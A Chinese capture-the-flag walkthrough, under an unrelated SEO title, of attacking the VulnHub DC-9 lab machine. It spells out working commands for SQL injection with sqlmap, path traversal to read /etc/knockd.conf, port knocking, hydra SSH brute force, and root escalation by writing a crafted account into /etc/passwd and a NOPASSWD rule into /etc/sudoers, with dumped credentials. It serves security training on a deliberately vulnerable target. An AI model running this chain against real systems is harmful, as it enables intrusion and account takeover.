对网站做打包备份处理长沙优化网站推广
一.环境搭建
1.下载地址
靶机下载地址:https://download.vulnhub.com/dc/DC-9.zip
2.虚拟机配置
设置虚拟机为nat,遇到错误点重试和是

开启虚拟机如下图所示
 
二.开始渗透
1. 信息收集
查找靶机的ip地址
arp-scan -l 

发现靶机的ip地址为192.168.111.137,攻击机(kali)的ip地址为192.168.111.128
用nmap扫描其开启服务和端口
nmap -p- -sV 192.168.111.137 

发现ssh和http服务打开
用浏览器打开其http服务,如下图
 发现一句提示,翻译一下看看

点击这个search,进行抓包
 发现此处存在sql注入
2.sql注入
用sqlmap进行注入
sqlmap -u "http://192.168.111.137/results.php" --data "search=" --dbs 

跑users表
sqlmap -u "http://192.168.111.137/results.php" --data "search=" -D users --tables 
 
sqlmap -u "http://192.168.111.137/results.php" --data "search=" -D users -T UserDetails --dump 

+----+------------+---------------+---------------------+-----------+-----------+
| id | lastname   | password      | reg_date            | username  | firstname |
+----+------------+---------------+---------------------+-----------+-----------+
| 1  | Moe        | 3kfs86sfd     | 2019-12-29 16:58:26 | marym     | Mary      |
| 2  | Dooley     | 468sfdfsd2    | 2019-12-29 16:58:26 | julied    | Julie     |
| 3  | Flintstone | 4sfd87sfd1    | 2019-12-29 16:58:26 | fredf     | Fred      |
| 4  | Rubble     | RocksOff      | 2019-12-29 16:58:26 | barneyr   | Barney    |
| 5  | Cat        | TC&TheBoyz    | 2019-12-29 16:58:26 | tomc      | Tom       |
| 6  | Mouse      | B8m#48sd      | 2019-12-29 16:58:26 | jerrym    | Jerry     |
| 7  | Flintstone | Pebbles       | 2019-12-29 16:58:26 | wilmaf    | Wilma     |
| 8  | Rubble     | BamBam01      | 2019-12-29 16:58:26 | bettyr    | Betty     |
| 9  | Bing       | UrAG0D!       | 2019-12-29 16:58:26 | chandlerb | Chandler  |
| 10 | Tribbiani  | Passw0rd      | 2019-12-29 16:58:26 | joeyt     | Joey      |
| 11 | Green      | yN72#dsd      | 2019-12-29 16:58:26 | rachelg   | Rachel    |
| 12 | Geller     | ILoveRachel   | 2019-12-29 16:58:26 | rossg     | Ross      |
| 13 | Geller     | 3248dsds7s    | 2019-12-29 16:58:26 | monicag   | Monica    |
| 14 | Buffay     | smellycats    | 2019-12-29 16:58:26 | phoebeb   | Phoebe    |
| 15 | McScoots   | YR3BVxxxw87   | 2019-12-29 16:58:26 | scoots    | Scooter   |
| 16 | Trump      | Ilovepeepee   | 2019-12-29 16:58:26 | janitor   | Donald    |
| 17 | Morrison   | Hawaii-Five-0 | 2019-12-29 16:58:28 | janitor2  | Scott     |
+----+------------+---------------+---------------------+-----------+-----------+
 
下爆staff的
sqlmap -u "http://192.168.111.137/results.php" --data "search=" -D Staff --tables 

sqlmap -u "http://192.168.111.137/results.php" --data "search=" -D Staff -T Users --dump 

账号获取到了,密码被爆破出来了
看一下StaffDetails(这里虚拟机的http直接被访问到502了,重启一下靶机即可)
sqlmap -u "http://192.168.111.137/results.php" --data "search=" -D Staff -T StaffDetails --dump 

利用之前获取到的账号密码admin/transorbital1进行用户登录

登录成功,下面显示file does not exist ,怀疑包含了某文件,所以尝试文件包含

看大佬的wp,访问该路径获取关键信息
http://192.168.111.137/welcome.php?file=../../../../../../../../../etc/knockd.conf 

[options] UseSyslog [openSSH] sequence = 7469,8475,9842 seq_timeout = 25 command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn [closeSSH] sequence = 9842,8475,7469 seq_timeout = 25 command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn  
这玩意也不知道啥意思,问问万能的ai吧
[openSSH]:
- sequence = 7469,8475,9842:接收到的 TCP 数据包的序列号序列,用于识别 SSH 连接尝试。
 - seq_timeout = 25:在指定时间(以秒为单位)内,如果收到序列号序列中的下一个序列号,则认为是有效的 SSH 连接尝试。
 - command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn:如果收到有效的 SSH 连接尝试,则执行此命令。该命令将允许来自 IP 地址 %IP% 的 TCP 端口 22 的连接。
 [closeSSH]:
- sequence = 9842,8475,7469:与 [openSSH] 相同,但用于识别 SSH 连接关闭。
 - seq_timeout = 25:与 [openSSH] 相同。
 - command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn:如果收到有效的 SSH 连接关闭,则执行此命令。该命令将删除允许来自 IP 地址 %IP% 的 TCP 端口 22 的连接的规则。
 
knockd字面意思是敲,只是这里敲的是端口,而且需要按照顺序‘敲’端口。如果敲击规则匹配,则可以让防火墙实时更改策略。从而达到开关防火墙的目的。
也就是说黑客进行直接扫描端口扫描不出来,只有进行固定knockd的访问才能打开
 查看配置文件发现需要连续访问的端口,轮流敲这些端口
nmap 192.168.111.137 -p 7469
nmap 192.168.111.137 -p 8475
nmap 192.168.111.137 -p 9842 

nmap -p 22 192.168.111.137 

查看到ssh服务已经开启
3.ssh暴力破解
将前面sql注入出来的用户名和密码分别保存在users.txt和pass.txt
将前面保存sqlmap自动保存的csv文件复制到物理机进行操作

users.txt
marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2
 
pass.txt
3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0
 
利用工具进行ssh账号密码爆破
hydra -L users.txt -P pass.txt 192.168.111.137 ssh 

[22][ssh] host: 192.168.111.137   login: chandlerb   password: UrAG0D!
[22][ssh] host: 192.168.111.137   login: joeyt   password: Passw0rd
[22][ssh] host: 192.168.111.137   login: janitor   password: Ilovepeepee
 
4.获得shell
根据大佬wp可知,其他两个用户登录后无作用
登录janitor

ls -al 
查看到隐藏文件
cd .secrets-for-putin
cat passwords-found-on-post-it-notes.txt 

BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts 
将这一串密码加入刚刚的爆破密码中,重新进行爆破,生成newpass.txt
newpass.txt
3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts 
重新进行爆破
hydra -l users.txt -P newpass.txt 192.168.111.137 ssh 
爆破出一个新用户

进行ssh连接 fredf/B4-Tru3-001
ssh fredf@192.168.111.137 

5.提权
进行提权
sudo -l 
列出sudo权限的命令,这里发现fred用户在NOPASSWD的情况下可以使用root权限运行这个test文件
 
cd到该目录下尝试运行,发现为python文件

找到这个test.py文件
find / -name test.py 2>/dev/null
 

查看文件

#!/usr/bin/pythonimport sysif len (sys.argv) != 3 :print ("Usage: python test.py read append")sys.exit (1)else :f = open(sys.argv[1], "r")output = (f.read())f = open(sys.argv[2], "a")f.write(output)f.close()
 
发现代码作用需要两个文件,把第一文件追加到第二个文件后
openssl生成密码,前一个mlws为账号,后一个1900为要加密的密码
openssl passwd -1 -salt mlws 1900 
$1$mlws$VPTJ3t70fTytbTKtREHSF1 
 
把下面内容写入一个文件
echo 'mlws:$1$mlws$VPTJ3t70fTytbTKtREHSF1:0:0::/root:/bin/bash' >> /tmp/tiquan 
使用test文件,将该文件的内容写入到passwd中
sudo ./test /tmp/tiquan /etc/passwd 
切换账户
su mlws 
成功提权
 
成功获取到最终的flag

三.其他
1.可以用knock命令直接对三个端口进行敲击
需要安装knock
knock 192.168.111.137 7469 8475 9842 
![]()
2.提权可构造权限行,写入/etc/sudoers
echo "fredf ALL=(root) NOPASSWD:ALL" > /tmp/tq.txt 
sudo /opt/devstuff/dist/test/test /tmp/tq.txt /etc/sudoers 
sudo su root 

一样可以提权成功
至此dc1-9靶机全部完成
